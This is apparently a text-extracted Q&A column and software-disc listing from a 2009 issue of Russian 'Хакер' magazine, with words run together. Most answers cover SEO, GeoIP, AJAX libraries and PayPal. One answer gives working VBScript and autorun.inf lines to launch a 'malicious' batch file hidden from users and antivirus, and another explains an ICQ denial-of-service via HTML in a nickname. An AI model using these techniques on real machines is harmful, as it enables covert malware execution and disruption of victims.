книги хакеры / журнал хакер / 126_Optimized

>>

Q: НетакдавновофициальномICQ-клиенте былаобнаруженауязвимость, приводящаякзависаниюкомпажертвы. Расскажипоподробней. A: Действительно, очереднойзамечательный багваське(наэтотраз, Lite, 6 и6.5) нашли Hormold иDoom123. Этотбагпозволяетпро- вестиудаленнуюDoS-атаку. Дляэксплуатации уязвимостинеобходимодобавитьвсвойник html-тег«</a>», азатемдобавитьсявконтактлистжертвы, либоотправитьжертвелюбое сообщениеилизапросавторизации(плюс, еслижертванайдеттебявпоискеипосмотрит твоеинфо).

Такжеспомощьюэтогобагаможносделатьно- мерневидимкувконтакт-листевсетойжене- счастнойжертвы. Попробуйсвойникпривести квиду«<h1>nick</h1>» ипопросить, чтобытебе добавили. Витоге, тыбудешьприсутствоватьв контакт-листе(кпримеру, в«Моягруппа(1/1)»), нотебяпросто-напростонебудетвидно:). Подробнееобуязвимоститысможешьпрочитать тут: securitylab.ru/vulnerability/368757.php итут: forum.asechka.ru/showthread.php?t=110269.

Q: Хочумониторитьсвойсайтнапредметучастияввыдачепоисковыхсистем. Какэтопроще всегоможносделать?

A: Втакомнелегкомделетебепоможетзамечательнаябесплатнаяпрограммаототечественныхразработчиков— Site-Auditor (официаль-

ныйсайт: site-auditor.ru).

ПрипомощиутилитыSite-Auditor тысможешь быстрособратьданные, которыебудутнеобходимытебедляоценкивидимостисайтавовсех поисковыхсистемах, аименно:

1.ИндексыцитированияЯндекса— ТИЦи

Google — PageRank;

2.Количествостраниц, проиндексированных поисковымисистемамиЯндекс, Рамблер, Google, АпортиYahoo;

3.Количествоссылокнасайт, обнаруженных поисковымисистемамиGoogle, Яндекс, Yahoo;

4.ДанныеоналичиисайтавкаталогахЯндекс, РамблерTop100, АпортиDMOZ;

5.Еслинасайтебудутобнаруженысчетчики РамблерTop100, утилитасоберетданныео количествепосетителейипросмотренных страницзапоследние7 дней.

Еслибудутобнаруженысчетчикистатисти-

ческихсистемTop.Mail.ru, LiveInternet (Rax), SpyLog, HotLog, тобудутданыссылкинастраницыэтихпоисковыхсистем.

Помимосистемыанализасайтасоветую изучитьтебедесяткидругихвозможностей программы, хотямнесамомубольшевсего нравитсявкладка«Конкуренты», которая предназначенадляопределениястраницстороннихсайтов, конкурирующихсанализируемымсайтомпоуказаннымзапросам. Набазе даннойинформацииможнолегкопонять, какие

страницынаданныймоментлучшеоптимизированыподконкретныйзапрос.

Q: Расскажи, какимобразомвеб-мастераопре- деляютреальноефизическоеположениесвоего посетителя?

A: Длятакихцелейэнтузиастамиипрофессионаламисозданыразличныегеолокационные базыданныхIP-адресов(вформате«Город/ Страна— IP»). Извсехпредложений, присутствующихвинтернете, мнебольшевсего нравитсябесплатнаяWIP-Base отWIPmania. com (остальныеGeoIP-базытылегкосможешь погуглитьсам). Даннаябазаданных, кактыуже понял, даетвозможностьопределенияфизи- ческогорасположенияразличныхIP-адресов. Алюблюяеезаследующиефишки:

1.ОнадоступнавSQL, CIDR, текстовомформатах;

2.ОбновлениеWIP-базыосуществляется каждыедвамесяца;

3.Проверкабазыможетпроисходитьавтоматическиимануально.

Такжесоветуюобратитьвниманиенадругие различныепримочкикбазе: WIP-API (удобное апидляразработчиков), WIP-Plugin (WorldIP плагиндляMozilla Firefox) иWIP-Map (IP-адре-

сапрямонакарте).

Заподробностямиобращайсянаофициальный сайтбазы, адрескоторогоядалвыше.

Q: Подскажи, какимобразомможнонезаметно запустить.bat-файл?

A: Допустим, утебяестьзлонамеренный батниц, которыйтыпланируешьзапуститьс помощьюавторанасфлешки. Длявоплощения своегопланавжизньдействуйследующим образом:

1.Создайфайлmyfile.vbs, вкоторомпропиши

Set WshShell = CreateObject("WScript.Shell") WshShell.Run "cmd.exe /c [ÒÂÎÉ_BAT_ ÔÀÉË]", 0, false

2. Вавторандобавьследующиестроки:

[AutoRun]

UseAutoPlay=1

open=myfile.vbs

Послеэтихнехитрыхдействийтвойбатник запуститсяиисполнитсянезаметнодляюзера иантивирусов.

Q: Приизученииразличныхвеб-движков столкнулсяструдностямиввидеиспользования внихдесятковвстраиваемыхajax-библиотек. Подскажи, какиесуществуютособенностиу наиболеепопулярныхизних?

A: Какговорится, враганадознатьвлицо:) Итак, представляютебенебольшойсписок наиболеераспространенныхajax-библиотекот одногоизрезервистовАнтичатаlife_is_shit.

1.Atlas — ASP.NET AJAX библиотекаотMicrosoft (http://www.asp.net/ajax/Default.aspx)

+asp

- сыровата - недостаточногибкая

2.Dojo — Javascript инструментарий(http:// dojotoolkit.org)

+многовозможностей

+присутствуетхорошиймануал

+поддержкаразличныхсредисполнения

3.jQuery — известнейшаяJavaScript-библиоте-

ка(http://jquery.com)

+хорошийнаборкомпонентов

+прозрачностьразработки

4.Google Web Toolkit — инструментарийдля

Java-разработчиковотGoogle (http://code. google.com/webtoolkit)

+вседелаетсяавтоматически

- несовсемчитабельныйкоднавыходе

5.Prototype — встроеннаяподдержкавофрей-

мворкеRuby on Rails (http://prototypejs.org) + лаконичныйсинтаксис + простаявиспользовании

6.Mootools — оченькомпактаяjavascript-биб- лиотека(http://mootools.net)

+ быстрая + компактная + модульная

+ многокомпонентов

7.Moo.fx — основананаprototype иmootools

(http://moofx.mad4milk.net)

+быстрая

+оченькомпактная

8.xajax — довольнораспространеннаяиудоб-

ная(http://www.xajaxproject.org) + удобная

+ естьподдержкавсегоився(языкиит.д.)

9.sajax — компактная, номаловатофункций

(http://www.ibm.com/developerworks/ru/library/ os-phpajax)

+ компактная - малофункций

10.JsHTTPRequest (http://dklab.ru/lib/ JsHttpRequest)

+кроссбраузерность

+совместимостьсprototype

+ автоматическийвыборподходящегометода загрузкиданных

11.MochiKit — налюбителя(http://mochikit. com/download.html)

+ кроссбраузерность + большойнаборфункций - тяжелая

12.YUI — качественныйпродуктотYahoo(http:// developer.yahoo.com/yui)

+кроссбраузерность

+большойнаборфункций(более260)

+хорошодокументирована— тяжелая

Q: Написалсвойпарсер/граббернаPHP, но скриптвсевремявылетает. Незнаешь, вчем можетбытьпричина?

A: Обычно, всяческиепарсерысъедаютпросто гигантскоеколичествосерверныхресурсов, такчтосамоеоптимальноерешениевданном случае— этопоигратьсяснастройкамиphp.ini:

default_socket_timeout = 600 (время отваливания сокета по таймауту) max_execution_time = 300000 (максимальное время выполнения скрипта, ставь по вкусу)

max_input_time = 600 (максимальное время для загрузки данных скриптом) memory_limit = 256M (если не жалко оперативной памяти, ставь побольше)

Вцеломже, всенастройкиPHP зависятот шириныканала, такчтолучшийопыт— это эксперимент.

Q: КакиспользоватьобычныйWindows XP в качестветерминальногосервера (terminal server)?

A: Невсезнают, нонасамомделелюбаяверсия

XP (какProfessional, такиHome) ужесодержат всебетерминальныйсервер, позволяющий получитьудаленныйрабочийстолпоRPD. Этотсерверискусственноограниченодним подключением, приэтомлокальныйрабочий столблокируется. Впрочем, умельцыдавнонашлирешениетого, какэтоглупоеограничение обойти. УтилитаTS-Free — это, пожалуй, самый распространенныйхак, окотороммыужеписали. Программазаменяетбиблиотекуcrypt.dll на вариантизбета-версиидистрибутиваковторо- мусервиспаку(гдеограничениенаколичество сеансовотсутствует). Потакомужепринципу действуеттулзаTermiserv_XPSP2_i386. Чуть болеенавороченныевозможностипредлагает программаXPUnlimited (www.xpunlimited.com),

укоторойестькакплатная, такибесплатная вариации. ОднойизфичявляетсяSSL Gateway, позволяющийосуществитьRPD-коннект поверхзащищенногосоединения. WinConnect Server XP (www.ef1.ru/soft/winconnectserverxp/ index.htm) являетсяполноценнойреализацией терминальногосервиса, но, увы, стоитденег. Разужмызаговорилиотерминальномсервере,

тоупомянуипропрограммныереализациитонкогоклиента. Такойклиентможнозапуститьна любой, дажеоченьслабоймашины(вомногих случаях– дажебезжесткогодиска), нопри этомкомфортноработать, используямощности сервера. Одинизтакихклиентов, работающий набездисковойсистемеявляетсяThinstation (thinstation.sourceforge.net), построенныйна базеLinux’а. Средидругихклиентов: ElinuxT (elinux.org.ru), WTPRO (www.wtpro.ru).

Q:Работаюназападныхработодателей, которыезачастуюхотятпровестиоплатузаработу черезPayPal. Какпринятьтакойплатеж, ведь,

яточнознаю, естькакие-тоограничениядля российскихпользователей?

A:Да, дляпользователейизРоссиисуществуютособыеправилаиспользованиясистемой PayPal. Завестисчетможноипривязатькнему кредитнуюкарточку— тоже. Ноиспользовать такойаккаунтразрешаетсяисключительнодля оплатытоваровиуслугвинтернете— приниматьплатежиитемболееобналичитьденьги нельзя. Припопыткеотправитьплатежнатакой аккаунтвыдаетсяошибкаотом, чтоадресат приниматьплатежинеможет. Нарусский пейпалнельзязачислитьденьгидажесосвоей собственнойкарты. Всеплатежисрусского пейпелапроходяттранзитом, снимаются деньгискартыипослеэтогомгновенно, без зачислениянапейпел, уходятвмагазин. В общем, ситуация— труба.

Но! Естьобходныепути. Плюсвтом, что ониестьвпринципе, аминус— втом, что ихиспользованиетребуетдополнительных затрат. Одинизосновныхвариантовпринять

платежчерезпейпалдлярусских— получить аккаунтvendor’анасервисе2Сheckout.com. Это— специальныйсервисдлялюдей, которыезанимаютсякоммерциейвинтернете, предоставляетимвиртуальнуюплощадкудля торговлиисистемудляприемаоплатытоваров. Зарегистрироваваккаунтна2Сheckout, пользовательполучаетвсистемесчетс виртуальнымиденьгами, накоторыйтеперь будутпереводитьсяденьгиспроведенныхим продаж. Фишкавтом, чтопомимоплатежей покредитнымкартам(чтотоженеплохо!) и прочихвидовоплаты, пользователимогутиспользоватьPayPal — иденежкистакогоплатежапопадутнавнутреннийсчет2Сheckout. А ужеоткудаихможновывести!

В результате имеем простую схему. Получаем аккаунт вендора на 2Сheckout (это стоит $49), далее создаем некий товар (например, дизайн), который нужно выложить на своей торговой странице, и передаем линк для оплаты нашему клиенту. Тот производит оплату — и, ву-а-ля, деньги оказываются на внутреннем счету чекаута. Теперь следующий вопрос — как их оттуда вывести? Большинство матерых фрилансеров рекомендуют завести банковскую карточку на специальном сервисе Payoneer (www.payoneer. com). Это настоящая пластиковая карта, которая после оформления придет по почте,

иее можно будет использовать в обычном банкомате. Плюс payoneer’ой карточки заключается в том, что ее можно привязать к своему аккаунту на 2Сheckout’е и выводить оттуда деньги с внутреннего счета. Ребятам, которые держат сервисы, тоже нужно на чтото жить, поэтому за свои услуги они взимают комиссии.

Другойвариантпоявилсяотносительно недавно. Врунетепоявилисьобменники (легкоищутсячерезGoogle, небудемделать рекламу), готовыеосуществитьобменсPayPal наWebmonet иЯндекс.Деньги. Длятакого обменанужновыполнитьрядусловий, ноесли аккаунтнаPayPal’етвойитыготовнемножко подождать(операцияможетзанятьнесколько дней), тоэтотспособ— длятебя. Тутмыопять имеемделоскомиссией, нозатозначительно меньшимгеморроем, чемсосвязкой2Сheckout

иPayoneer .

Q: Нужноперепрошитьзаблокированную«Нокию». Какэтолучшесделать?

A: Любойопытныйнастройщиктебеответит одно— воспользоватьсясвязкойPhoenix иJAF. Этолучшиесервисныепрограммыдля(пере) прошивки, настройкиитестированиятелефо-

новNokia. Нафорумеhttp://forum.allnokia.ru/ viewtopic.php?t=44556 можноскачатьготовые сборкисоследующимивозможностями:

•ПрошивкателефонавNormal иDead — режи-

мах(Phoenix, JAF);

•Downgrading — откатнаболеераннююверсиюпрошивки(JAF);

•Phoenix Browser — просмотриработасо

(скрытыми) папкамиифайламивтелефоне

(Phoenix);

•MobiMB Browser — работачерезUSB, Bluetooth, IrDa со(скрытыми) папкамиифайла-

ми(MobiMB);

•Закачкапрошивокдлялюбоготелефонаи продукт-кодапрямоссерверовNokia (Phoenix)

•ПолноценнаяработасProduct Profile через

*.ppu (Phoenix)

•Format C — форматированиевнутренней памятителефонабезперепрошивки(Phoenix, JAF)

•Простоесохранениеивосстановлениена-

строекProduct Profile через*.pp (Phoenix, JAF);

•Сохранение, восстановление, редактированиетелефоннойкнигичерезPhonebook.txt (Phoenix)

•Сохранение, восcтановлениеPermanent Memory (PM) телефонаилиотдельныхблоков

(Phoenix, JAF);

•Сменапродукт-кода(Phoenix, JAF);

•Вскрытиезащитногокодателефона(JAF, Nokia Unlocker);

•Вскрытиепаролякартыпамяти(Nokia Unlocker);

•Снятиескриншотовсэкранателефона, втом числесjava-игриjava-приложений(Phoenix);

•Множестводругихнастроектелефона, до-

ступныхнавкладкеTesting (Phoenix);

•Новые«горячиеклавиши» вPhoenix : F5 — NormalMode,F6—LocalMode,F7—TestMode.z

>>WINDOWS

>Dailysoft

7-Zip 4.65

AIMP 2.51

Autoruns 9.41

DAEMON Tools Lite 4.30.3

Download Master 5.5.11.1167

FarPowerPack 1.15

FileZilla 3.2.4.1

K-Lite Mega Codec Pack 4.80

Miranda IM 0.7.19

Mozilla Firefox 3.0.10

Notepad++ 5.3.1

Opera 9.64

PuTTY 0.60

QIP Infium RC4 Build 9030

Skype 4.04.0

Total Commander 7.04a

Unlocker 1.8.7

Xakep CD DataSaver 5.2

XnView 1.96

>Development

Adobe Flash Catalyst 1.0 Beta

HeidiSQL 4.0

HttpWatch Basic Edition 6.1.36

Inno Setup 5.3.2

Microsoft Web Platform Installer

2.0 Beta

RJ TextEd 5.23

>Games

And Yet It Moves Demo 1.0.3

CeeBot4 2.0

Robocode 1.7.1.2

>Misc

Benubird PDF 1.4.0.1

Direct Folders 3.6

Executor 0.99

Fences 0.96

Folder Menu 2.00 beta 9

Gmail Notifier Plus 1.0

Klipfolio Personal Dashboard 5.1

LogonStudio Vista 1

MemInfo 2.1

PSGlass

SugarSync Manager 1.6.3

Vispa 0.5.1

ZenKEY 2.1.1

>Multimedia

Blender 2.49

BurnAware Free 2.3.5

CCCP (Combined Community Codec

Pack) 2009-05-08

doPDF6.2

Format Factory 1.85

MediaMonkey 3.0.7.1191

Nero Lite 8.3.13.0

Picasa 3.1

Poladroid 0.9.6r0b

priPrinter 2.5

ProgDVB 6.06.4

Screenshot Captor 2.56.01

Stellarium 0.10.2

TagScanner 5.1.540b

VideoInspector 2.2.2.121

>Net

Awasu 2.4

CrossLoop

Google Chrome 3.0.182.2 Beta

Kerio WinRoute Firewall 6.6.0

LogMeIn Free 4.0.784

Maxthon Browser 2.5.1

myibay 1.0.40

NetCrunch 5.2

Orbit Downloader 2.8.11

Pidgin 2.5.6

Psi 0.12.1

Remote Process Explorer 2.0.0.19

Skype for Windows 4.1.0

twhirl 0.9.2

UltraSurf 9.4

webcamXP 5.3.4.110

WebCopier 5.1

Winfox

>Security

Flexcrypt 2.9.0

Multi Password Recovery (MPR) 1.1.5

Spy Message 1.0.0.0

TrueCrypt 6.2

>System

#7Z Windows 0.8.0

3DP Chip 9.05

Almeza MultiSet Professional 6.6

avast! Home Edition 4.8

Defraggler 1.10.143

Dexpot 1.4.2

Double Driver 2.1

Prism 1.0b1

SpeedFan 4.38

Sysinternals Suite Build 050709

Total Commander (Beta) 7.50 Beta 4

VirtualBox 2.2.4

>12 лучший тулз для Wi-Fi

Aircrack-ng 1.0-rc3

Asleap 2.2

CommView for WiFi 6.1

inSSIDer 1.2 Beta

Kismet-2009-05-RC2

NetStumbler 0.4.0

Technitium MAC Address Changer

v5 Release 3

Vistumber 9.3

Void11 0.2.0

WifiZoo 1.3

Wireless Security Auditor 1.02

WirelessKeyView 1.26

>>UNIX

>Desktop

Audacious 2.0.1

Audacity 1.3.7

Beesoft Commander 4.1.0

DIA 0.97

Evince 2.27.1

Florence 0.4.1

Fontmatrix 0.4.2

Fotoxx 6.9.2

FreeCAD 0.7

Freespeak 0.3.0

Frinika 0.5.1

keyTouch 2.4.1

Kid3 1.2

KOffice 2.0.0

LiVES 0.9.9.8

Metromap 0.1.2

OpenXMLViewer 1.0

PeaZip 2.6

QPDFMerge 1.0

Remuco 0.8.2

SMPlayer 0.6.7

Subsonic 3.6

xCHM 1.16

Xcowsay 1.1

Xpdf 3.02

>Devel

Agave 0.4.4

Clojure 1.0

Diffuse 0.3.3

Dojo Toolkit 1.3.1

GiftWrap 0.1

GSQL 0.2.1

Highlight 2.9

Jdk 6update14

KLone 2.2.0

Kompozer 0.7.10

log4c 1.2.1

log4cpp 1.0

log4j 1.2.15

Regexpplanner 1.0

SciTE 1.77

Screenlets 0.1.2

Spket IDE 1.6.16

XPontus XML Editor 1.0.0.2

>Games

PokerTH 0.7

Regame

SudokuKi 0.9.14

>Net

assniffer 0.2

AutoScan 1.42

BitWise 1.7.3

FireFox 3.0.10

Flock 2.5

IcePodder 5.4

IMPOMEZIA Simple Chat 0.5.3

Ktrafficanalyzer 0.4.0-1

KVIrc 3.4.2

Mizio 0.3.1

Opera 9.64

SIM IM 0.9.4.3

Twitux 0.69

BitFlu 0.90

Deluge 1.1.8

KTorrent 3.2.1

Lince 1.1beta

qBittorrent 1.3.3

QTorrent 0.9.5

rTorrent 0.8.2

Transmission 1.61

YouTube Downloader+ 1.8

>Security

CompuSec 4.21

Fwknop 1.9.11

Fwsnort 1.0.6

KeePassX 0.4.0

MultiInjector 0.3

Onesixtyone 0.3.2

Porkbind 1.3

Ratproxy 1.58

Samurai 0.6

Sara 7.8.4

Sshutout 1.0.5

Stunnel 4.27

TLSWrap 1.04

TrueCrypt 6.2

>Server

Abyss Web Server X1 2.6

Anemon DHCP server 0.4

AOLserver 4.5.1

Asterisk 1.6.1.0

Ejabberd 2.0.5

Iserverd 2.5.5

MaraDNS 1.3.07.09

Monkeyd 0.9.2

MyDNS 1.1.0

Nginx 0.7.59

Openfire 3.6.4

OpenSSH 5.2

Sockso 1.1.8

Webalizer 2.21

wzdftpd 0.8.3

XMail 1.25

>System

Areca Backup 7.1.1

ATI 9.5

Bochs 2.4

Freefilesync 1.18

GParted 0.4.5

Linux Kernel 2.6.29.4

Memory monitor 1.1

nVidia 180.60

QGRUBEditor 2.5.0

Realtek Audio Codecs 5.11

StopDuplicates 1.4 Beta

watsup 1.7

Xen 3.4.0

>X-distr

Mandriva 2009.1

x № 06(126) ИЮНЬ 2009